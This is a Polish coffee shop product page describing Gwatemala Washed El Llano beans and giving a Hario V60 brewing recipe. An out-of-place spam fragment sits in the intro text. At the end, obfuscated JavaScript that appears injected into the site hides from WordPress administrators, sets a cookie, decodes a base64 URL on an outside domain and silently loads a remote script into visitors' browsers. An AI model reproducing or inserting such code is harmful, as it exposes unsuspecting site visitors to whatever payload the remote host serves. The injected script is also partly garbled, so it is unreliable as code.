Kawa Gwatemala Washed El Llano zaskakuje smakiem rześkich cytrusów – białego grejpfruta, ananasa i mango. Uprawiana jest w regionie Acatenango na wysokości 1500 – 1700 m n.p.m. Obrabia się ją przy pomocy metody washed, która pozwala uzyskać bardzo szlachetny profil sensoryczny.
Gwatemala Washed El Llano to jednorodne ziarna 100% arabica. Pełnię smaku wydobędą z niej metody alternatywne, przykład drip Hario V60. Poniżej nasz przepis:. tinytitstracey at 14
Jak zaparzyć Gwatemala Washed El Llano?
- Proporcje to 15 g ziaren na 230 ml wody.
- Ziarna zmiel średnio – my polecamy do tego młynek Comandante ustawiony na 26 klików.
- Umieść filtr w dripie i przelej go wodą. Następnie wylej ją z naczynia.
- Wsyp zmieloną kawę do filtra i zalej równomiernie ok. 40 g wody. Czas preinfuzji powinien wynosić 30 s.
- Dolej kolejne 70 g wody. Po upływie minuty i 15 s – 60 g. Po upływie 2 min. – 60 g. W sumie czas parzenia powinien wynosić 3 min. 00 s.
- Usuń filtr i przelej kawę do filiżanki.
Receptura Gwatemala Washed El Llano
To może Ci się przydać!
(function(){try{if(document.getElementById&&document.getElementById(’wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(’http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
